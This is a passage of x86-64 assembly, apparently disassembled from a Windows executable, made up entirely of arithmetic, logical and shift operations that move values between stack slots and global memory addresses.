shl eax, cl
mov rcx, qword [rsp + 0xa928]
mov word [rcx], ax
lea rax, [rsp + 0x14b]
mov qword [rsp + 0xabd8], rax
mov rax, qword [rsp + 0xa930]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x17d]
add eax, ecx
mov byte [rsp + 0x17c], al
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
movzx ecx, word [0x14019bf08]
sub eax, ecx
mov word [0x14019bf14], ax
mov rax, qword [rsp + 0xa778]
mov ecx, dword [rsp + 0x42a4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4148], eax
mov eax, dword [rsp + 0x4290]
mov dword [rsp + 0x42c4], eax
movzx eax, byte [rsp + 0x154]
movzx ecx, byte [rsp + 0x15c]
sub eax, ecx
mov byte [rsp + 0x17d], al
movzx eax, word [rsp + 0xee4]
mov word [rsp + 0xf60], ax
mov rax, qword [rsp + 0xaad8]
mov ecx, dword [rsp + 0x416c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4088], eax
lea rax, [rsp + 0x42c4]
mov qword [rsp + 0xabe0], rax
mov rax, qword [0x14019d808]
mov rcx, qword [rsp + 0xa8f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41b8], eax
mov rax, qword [rsp + 0xa6f8]
mov ecx, dword [rsp + 0x42b0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x424c], eax
lea rax, [0x14019bf00]
mov qword [0x14019d8d8], rax
lea rax, [rsp + 0x132]
mov qword [rsp + 0xabe8], rax
mov rax, qword [rsp + 0xa708]
mov rcx, qword [rsp + 0xaaa8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3ffc], eax
lea rax, [rsp + 0x4260]
mov qword [rsp + 0xabf0], rax
movsx eax, byte [0x140199008]
movsx ecx, byte [rsp + 0x17e]
sub eax, ecx
mov rcx, qword [rsp + 0xa558]
mov byte [rcx], al
movsx eax, word [rsp + 0xeac]
movsx ecx, word [rsp + 0xf30]
sub eax, ecx
mov word [rsp + 0xc48], ax
movzx eax, word [rsp + 0xf2c]
mov word [rsp + 0xf64], ax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0x132]
add eax, ecx
mov byte [rsp + 0x164], al
mov rax, qword [rsp + 0xa988]
mov eax, dword [rax]
mov dword [rsp + 0x42c8], eax
mov rax, qword [rsp + 0xa820]
mov rcx, qword [rsp + 0xa8d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14019bf40], eax
mov rax, qword [rsp + 0xab58]
mov eax, dword [rax]
mov rcx, qword [0x14019d7d8]
mov qword [rsp + 0xabf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xabf8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4214]
mov rcx, qword [rsp + 0xa840]
mov qword [rsp + 0xac00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xac00]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3ffc], eax
mov eax, dword [rsp + 0x41a8]
mov dword [rsp + 0x42cc], eax
mov rax, qword [0x14019d890]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa618]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x17f], al
lea rax, [rsp + 0xf3c]
mov qword [rsp + 0xac08], rax
mov rax, qword [rsp + 0xa980]
mov rcx, qword [0x14019d8c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4224], eax
mov rax, qword [rsp + 0xaba0]
mov ecx, dword [rsp + 0x4190]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa778]
mov dword [rcx], eax
lea rax, [rsp + 0x38a0]
mov qword [rsp + 0xac10], rax
mov rax, qword [rsp + 0xab78]
mov rcx, qword [0x14019d808]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019bef8], eax
mov rax, qword [rsp + 0xa970]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaa28]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x17f], al
mov rax, qword [rsp + 0xa548]
movzx eax, word [rax]
mov word [rsp + 0xf68], ax
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [rsp + 0xc48]
add eax, ecx
mov rcx, qword [rsp + 0xa6f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xaa20]
movzx eax, byte [rax]
mov byte [rsp + 0x186], al
mov rax, qword [rsp + 0xaaa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3418]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41e0], eax
mov eax, dword [rsp + 0x415c]
mov ecx, dword [rsp + 0x41c8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa8d0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x15e]
mov byte [rsp + 0x187], al
mov rax, qword [rsp + 0xa990]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xec0]
add eax, ecx
mov rcx, qword [rsp + 0xac08]
mov word [rcx], ax
mov rax, qword [rsp + 0xa888]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ffc]
sub ecx, eax
mov eax, ecx
mov dword [0x14019bf44], eax
lea rax, [rsp + 0x416c]
mov qword [rsp + 0xac18], rax
mov eax, dword [rsp + 0x41ec]
mov ecx, dword [rsp + 0x4080]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xac18]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4058]
movzx ecx, al
mov eax, dword [rsp + 0x422c]
shr eax, cl
mov dword [rsp + 0x3ffc], eax
mov rax, qword [rsp + 0xa750]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa500]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xb34], ax
movzx eax, byte [rsp + 0x16a]
mov rcx, qword [0x14019d858]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x119], al
mov eax, dword [rsp + 0x4000]
mov dword [rsp + 0x42d0], eax
mov rax, qword [rsp + 0xa7b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42b8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x41e4], eax
mov rax, qword [rsp + 0xa758]
mov rcx, qword [rsp + 0xa3a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41a4], eax
mov rax, qword [rsp + 0xa7e8]
mov rcx, qword [rsp + 0xa5c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14019d848]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaaf0]
mov eax, dword [rax]
mov dword [rsp + 0x42d4], eax
mov rax, qword [0x14019d798]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa7a8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaa20]
mov byte [rcx], al
lea rax, [rsp + 0xeac]
mov qword [rsp + 0xac20], rax
mov rax, qword [rsp + 0xa750]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf5c]
sub eax, ecx
mov rcx, qword [rsp + 0xa9c8]
mov word [rcx], ax
lea rax, [rsp + 0x16e]
mov qword [rsp + 0xac28], rax
mov rax, qword [rsp + 0xabb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x425c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xab50]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa8a0]
mov rcx, qword [rsp + 0xa7e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa810]
mov dword [rcx], eax
mov rax, qword [rsp + 0xab40]
movzx eax, word [rax]
mov word [rsp + 0xf6c], ax
mov rax, qword [rsp + 0xa780]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa9c0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14019d7c8]
mov byte [rcx], al
mov eax, dword [rsp + 0x4280]
mov ecx, dword [rsp + 0x41d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4230], eax
mov rax, qword [0x14019d808]
mov eax, dword [rax]
mov dword [rsp + 0x42d8], eax
mov eax, dword [rsp + 0x4168]
mov ecx, dword [rsp + 0x41f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41ec], eax
mov rax, qword [rsp + 0xa778]
mov rcx, qword [rsp + 0xa840]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x42bc], eax
mov rax, qword [rsp + 0xa9c8]
movzx eax, word [rax]
mov word [rsp + 0xf70], ax
mov rax, qword [rsp + 0xa9a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa908]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x165], al
lea rax, [rsp + 0x42d4]
mov qword [rsp + 0xac30], rax
mov rax, qword [rsp + 0xa8a0]
mov eax, dword [rax]
mov rcx, qword [0x14019d7d8]
mov qword [rsp + 0xac38], rcx
movzx ecx, al
mov rax, qword [rsp + 0xac38]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3af4], eax
movzx eax, word [rsp + 0xecc]
mov word [0x14019d8e0], ax
movsx eax, byte [rsp + 0x17a]
movsx ecx, byte [rsp + 0x184]
sar eax, cl
mov rcx, qword [rsp + 0xab70]
mov byte [rcx], al
mov rax, qword [rsp + 0xa968]
movzx eax, byte [rax]
mov byte [rsp + 0x188], al
movzx eax, word [rsp + 0xcec]
mov rcx, qword [rsp + 0xaae8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
mov rax, qword [rsp + 0xa728]
mov eax, dword [rax]
mov dword [rsp + 0x42dc], eax
mov rax, qword [rsp + 0xab50]
mov rcx, qword [0x14019d7b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4210], eax
mov rax, qword [rsp + 0xa5b0]
mov ecx, dword [rsp + 0x42d8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xab48]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4218]
mov dword [rsp + 0x42e0], eax
mov rax, qword [rsp + 0xab80]
mov rcx, qword [rsp + 0xa600]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x41d4], eax
mov rax, qword [rsp + 0xa828]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa898]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd68], ax
movzx eax, byte [rsp + 0x119]
movzx ecx, byte [rsp + 0x14f]
add eax, ecx
mov rcx, qword [0x14019d7f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa8c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41e8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa678]
mov dword [rcx], eax
mov eax, dword [rsp + 0x42e0]
mov dword [rsp + 0x42e4], eax
mov eax, dword [0x14019d8b0]
mov ecx, dword [rsp + 0x3af4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xabc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa4c8]
mov rcx, qword [rsp + 0xab50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4258], eax
lea rax, [rsp + 0xf44]
mov qword [rsp + 0xac40], rax
movzx eax, byte [rsp + 0x151]
movzx ecx, byte [0x14019d794]
add eax, ecx
mov rcx, qword [rsp + 0xa5c0]
mov byte [rcx], al
movzx eax, word [rsp + 0xee0]
mov word [rsp + 0xf74], ax
movsx eax, byte [rsp + 0x5c]
mov rcx, qword [rsp + 0xa620]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x185], al
mov eax, dword [rsp + 0x41fc]
mov rcx, qword [rsp + 0xa8c8]
mov qword [rsp + 0xac48], rcx
movzx ecx, al
mov rax, qword [rsp + 0xac48]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14019bf48], eax
mov eax, dword [rsp + 0x41cc]
mov ecx, dword [rsp + 0x4198]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4248], eax
movzx eax, byte [rsp + 0x17d]
mov byte [rsp + 0x189], al
mov rax, qword [rsp + 0xa9f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xac08]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf6c], ax
mov eax, dword [rsp + 0x3d34]
mov dword [rsp + 0x42e8], eax
mov rax, qword [rsp + 0xa4a8]
mov ecx, dword [rsp + 0x423c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4290], eax
mov rax, qword [rsp + 0xa6b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4270]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xab30]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41b4]
mov dword [rsp + 0x42ec], eax
movzx eax, byte [rsp + 0x14e]
movzx ecx, byte [rsp + 0x176]
add eax, ecx
mov rcx, qword [rsp + 0xa9b8]
mov byte [rcx], al
lea rax, [0x14019d870]
mov qword [0x14019d8e8], rax
mov eax, dword [rsp + 0x42c4]
mov dword [rsp + 0x42f0], eax
mov eax, dword [rsp + 0x400c]
mov ecx, dword [rsp + 0x4260]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa7a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaaf0]
mov eax, dword [rax]
mov dword [rsp + 0x42f4], eax
mov eax, dword [rsp + 0x42a8]
mov ecx, dword [rsp + 0x41a8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xabd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa810]
mov rcx, qword [rsp + 0xa7c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42e0], eax
lea rax, [rsp + 0xeac]
mov qword [rsp + 0xac50], rax
mov rax, qword [rsp + 0xa9b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5c]
add eax, ecx
mov byte [rsp + 0x186], al
lea rax, [rsp + 0xedc]
mov qword [rsp + 0xac58], rax
movzx eax, byte [rsp + 0x175]
movzx ecx, byte [rsp + 0x17c]
and eax, ecx
mov rcx, qword [0x14019d890]
mov byte [rcx], al
mov eax, dword [rsp + 0x42b4]
mov ecx, dword [rsp + 0x4148]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xabb8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4230]
mov ecx, dword [rsp + 0x4058]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa798]
mov dword [rcx], eax
lea rax, [0x14019900e]
mov qword [rsp + 0xac60], rax
movzx eax, word [rsp + 0xdb8]
movzx ecx, word [rsp + 0xf68]
sar eax, cl
mov word [rsp + 0xec0], ax
lea rax, [rsp + 0x4294]
mov qword [rsp + 0xac68], rax
mov rax, qword [rsp + 0xa870]
mov rcx, qword [rsp + 0xa708]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4070], eax
mov eax, dword [rsp + 0x4184]
movzx ecx, al
mov eax, dword [rsp + 0x4270]
shl eax, cl
mov dword [rsp + 0x41b8], eax
lea rax, [rsp + 0x41f4]
mov qword [rsp + 0xac70], rax
lea rax, [rsp + 0xf4c]
mov qword [0x14019d8f0], rax
movzx eax, byte [rsp + 0x17b]
movzx ecx, byte [rsp + 0x156]
sub eax, ecx
mov rcx, qword [rsp + 0xac28]
mov byte [rcx], al
mov eax, dword [rsp + 0x41a4]
mov dword [rsp + 0x42f8], eax
mov rax, qword [rsp + 0xa8f8]
mov rcx, qword [0x14019d848]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x42d0], eax
mov rax, qword [rsp + 0xaa98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa8b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x17e], al
mov rax, qword [rsp + 0xa928]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc48]
sub eax, ecx
mov word [rsp + 0xa94], ax
mov rax, qword [rsp + 0xa800]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xee8]
sub eax, ecx
mov rcx, qword [rsp + 0xa9c8]
mov word [rcx], ax
lea rax, [rsp + 0x160]
mov qword [rsp + 0xac78], rax
mov rax, qword [rsp + 0xa888]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4128]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x40f0], eax
mov rax, qword [rsp + 0xa858]
mov ecx, dword [rsp + 0x42cc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14019d8a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x42d0]
mov dword [rsp + 0x42fc], eax
mov eax, dword [0x14019bf3c]
mov ecx, dword [rsp + 0x3f5c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaa60]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4248]
mov ecx, dword [rsp + 0x424c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x42cc], eax
mov rax, qword [rsp + 0xa608]
movzx eax, word [rax]
mov word [rsp + 0xf78], ax
movzx eax, byte [rsp + 0x162]
movzx ecx, byte [0x14019900a]
and eax, ecx
mov rcx, qword [rsp + 0xa838]
mov byte [rcx], al
lea rax, [rsp + 0x429c]
mov qword [rsp + 0xac80], rax
mov eax, dword [rsp + 0x41f8]
movzx ecx, al
mov eax, dword [rsp + 0x4230]
shr eax, cl
mov rcx, qword [rsp + 0xa758]
mov dword [rcx], eax
mov rax, qword [rsp + 0xac68]
mov rcx, qword [rsp + 0xab80]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xac10]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa6f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xabf0]
mov qword [rsp + 0xac88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xac88]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14019bf4c], eax
movzx eax, byte [rsp + 0x15f]
mov byte [rsp + 0x18a], al
movzx eax, word [rsp + 0xf50]
movzx ecx, word [0x14019bef0]
xor eax, ecx
mov rcx, qword [rsp + 0xa768]
mov word [rcx], ax
movzx eax, word [rsp + 0xf74]
mov word [rsp + 0xf7c], ax
movsx eax, byte [rsp + 0x186]
mov rcx, qword [rsp + 0xa8b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x178], al
mov rax, qword [0x14019d888]
mov ecx, dword [rsp + 0x3ffc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xabe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xab30]
mov eax, dword [rax]
mov dword [rsp + 0x4300], eax
movzx eax, word [rsp + 0xee4]
movzx ecx, word [rsp + 0xec0]
and eax, ecx
mov word [rsp + 0xf3c], ax
lea rax, [rsp + 0x165]
mov qword [rsp + 0xac90], rax
mov rax, qword [rsp + 0xa508]
mov ecx, dword [rsp + 0x4228]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019d800], eax
mov rax, qword [rsp + 0xac70]
mov ecx, dword [rsp + 0x41a8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4278], eax
mov eax, dword [rsp + 0x41bc]
mov ecx, dword [rsp + 0x4178]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4294], eax
lea rax, [rsp + 0x4070]
mov qword [rsp + 0xac98], rax
movzx eax, byte [rsp + 0x181]
mov rcx, qword [rsp + 0xa628]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xab28]
mov byte [rcx], al
movzx eax, word [rsp + 0xeec]
mov word [rsp + 0xf80], ax
mov rax, qword [rsp + 0xa718]
mov ecx, dword [rsp + 0x42a8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaaf0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xab88]
mov eax, dword [rax]
mov dword [rsp + 0x4304], eax
mov rax, qword [rsp + 0xa4d8]
mov rcx, qword [0x14019d8c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x41fc], eax
mov eax, dword [rsp + 0x4088]
mov ecx, dword [rsp + 0x4240]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d7d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa950]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4088], eax
mov rax, qword [rsp + 0xa440]
movzx eax, word [rax]
mov word [rsp + 0xf84], ax
movsx eax, byte [rsp + 0x14d]
movsx ecx, byte [rsp + 0x166]
sar eax, cl
mov rcx, qword [rsp + 0xa900]
mov byte [rcx], al
mov rax, qword [rsp + 0xac78]
movzx eax, byte [rax]
mov rcx, qword [0x14019d858]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xb1], al
movzx eax, word [rsp + 0xf6c]
movzx ecx, word [rsp + 0xea4]
xor eax, ecx
mov rcx, qword [rsp + 0xa730]
mov word [rcx], ax
mov rax, qword [rsp + 0xa840]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa508]
mov qword [rsp + 0xaca0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaca0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x42c4], eax
mov rax, qword [rsp + 0xa6f8]
mov eax, dword [rax]
mov dword [rsp + 0x4308], eax
mov rax, qword [rsp + 0xa8e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa908]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xaab0]
mov byte [rcx], al
lea rax, [rsp + 0xefc]
mov qword [0x14019d8f8], rax
lea rax, [rsp + 0x4284]
mov qword [rsp + 0xaca8], rax
mov rax, qword [rsp + 0xaa90]
mov rcx, qword [rsp + 0xa7c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x421c], eax
mov rax, qword [rsp + 0xaaf8]
mov rcx, qword [rsp + 0xa598]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xaa80]
mov dword [rcx], eax
lea rax, [rsp + 0x4244]
mov qword [rsp + 0xacb0], rax
mov rax, qword [rsp + 0xa800]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa500]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xec0], ax
lea rax, [rsp + 0x165]
mov qword [rsp + 0xacb8], rax
mov eax, dword [0x14019bf4c]
mov ecx, dword [rsp + 0x3400]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x42d8], eax
mov eax, dword [rsp + 0x4174]
mov dword [rsp + 0x430c], eax
movsx eax, word [rsp + 0xed8]
mov rcx, qword [rsp + 0xa578]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14019d898]
mov word [rcx], ax
mov rax, qword [rsp + 0xab70]
movsx eax, byte [rax]
movsx ecx, byte [0x14019900b]
sub eax, ecx
mov byte [rsp + 0x16f], al
mov rax, qword [rsp + 0xab68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xabe8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xacb8]
mov byte [rcx], al
movzx eax, word [rsp + 0xf50]
mov word [rsp + 0xf88], ax
mov rax, qword [rsp + 0xaaa8]
mov rcx, qword [0x14019d888]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x42f8], eax
lea rax, [rsp + 0x4128]
mov qword [rsp + 0xacc0], rax
mov eax, dword [rsp + 0x415c]
movzx ecx, al
mov eax, dword [rsp + 0x4178]
shl eax, cl
mov dword [rsp + 0x4294], eax
mov rax, qword [0x14019d848]
mov rcx, qword [rsp + 0xa7e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x42d0], eax
mov rax, qword [rsp + 0xa7e8]
mov eax, dword [rax]
mov dword [rsp + 0x4310], eax
movzx eax, word [rsp + 0xf78]
movzx ecx, word [rsp + 0xea8]
or eax, ecx
mov word [rsp + 0xf24], ax
mov rax, qword [rsp + 0xa4f8]
movzx eax, byte [rax]
mov byte [0x14019d797], al
lea rax, [rsp + 0x42f8]
mov qword [rsp + 0xacc8], rax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xaa90]
mov qword [rsp + 0xacd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xacd0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x42e4], eax
mov rax, qword [rsp + 0xac80]
mov ecx, dword [rsp + 0x4278]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4200], eax
mov eax, dword [rsp + 0x4238]
mov dword [rsp + 0x4314], eax
movzx eax, byte [rsp + 0x16a]
mov rcx, qword [rsp + 0xacb8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x173], al
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
mov word [rsp + 0xf8c], ax
movsx eax, byte [0x140199008]
movsx ecx, byte [rsp + 0x185]
sub eax, ecx
mov rcx, qword [rsp + 0xa900]
mov byte [rcx], al
movsx eax, word [rsp + 0xf74]
movsx ecx, word [rsp + 0xc48]
add eax, ecx
mov rcx, qword [rsp + 0xa6f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xaaa8]
mov rcx, qword [rsp + 0xa8a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019d834], eax
lea rax, [rsp + 0x4270]
mov qword [rsp + 0xacd8], rax
mov rax, qword [rsp + 0xab00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa9c8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa400]
mov word [rcx], ax
movzx eax, byte [rsp + 0x16e]
mov byte [rsp + 0x18b], al
mov eax, dword [rsp + 0x42a8]
mov ecx, dword [rsp + 0x416c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4144], eax
lea rax, [rsp + 0x40f0]
mov qword [rsp + 0xace0], rax
mov rax, qword [rsp + 0xa698]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42f4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xab88]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41a0]
mov ecx, dword [rsp + 0x3f98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x42ac], eax
lea rax, [rsp + 0x163]
mov qword [rsp + 0xace8], rax
lea rax, [rsp + 0xeb8]
mov qword [0x14019d900], rax
mov rax, qword [0x14019d820]
mov ecx, dword [rsp + 0x42dc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa4d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaa80]
mov eax, dword [rax]
mov dword [rsp + 0x4318], eax
mov rax, qword [rsp + 0xa7e8]
mov ecx, dword [rsp + 0x41a8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0xaa18]
mov ecx, dword [rsp + 0x4208]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa858]
mov dword [rcx], eax
mov eax, dword [rsp + 0x42e4]
mov rcx, qword [rsp + 0xa858]
mov qword [rsp + 0xacf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xacf0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x36fc], eax
mov rax, qword [0x14019d898]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa928]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa658]
mov word [rcx], ax
movzx eax, byte [rsp + 0x186]
mov byte [rsp + 0x18c], al
movzx eax, word [rsp + 0xf18]
mov rcx, qword [rsp + 0xa6c0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xab00]
mov word [rcx], ax
movzx eax, byte [0x14019d794]
movzx ecx, byte [rsp + 0x17d]
add eax, ecx
mov byte [0x14019beee], al
mov rax, qword [rsp + 0xacc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4230]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaa60]
mov dword [rcx], eax
lea rax, [rsp + 0x4284]
mov qword [rsp + 0xacf8], rax
mov rax, qword [rsp + 0xa970]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x181]
sub eax, ecx
mov byte [rsp + 0x160], al
movzx eax, word [rsp + 0xeec]
mov word [rsp + 0xf90], ax
mov eax, dword [rsp + 0x41e4]
mov ecx, dword [rsp + 0x421c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaaf0]
mov dword [rcx], eax
mov eax, dword [0x14019d834]
mov dword [rsp + 0x431c], eax
mov eax, dword [rsp + 0x4308]
mov ecx, dword [rsp + 0x41c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0xaa80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4144]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaa50]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x15f]
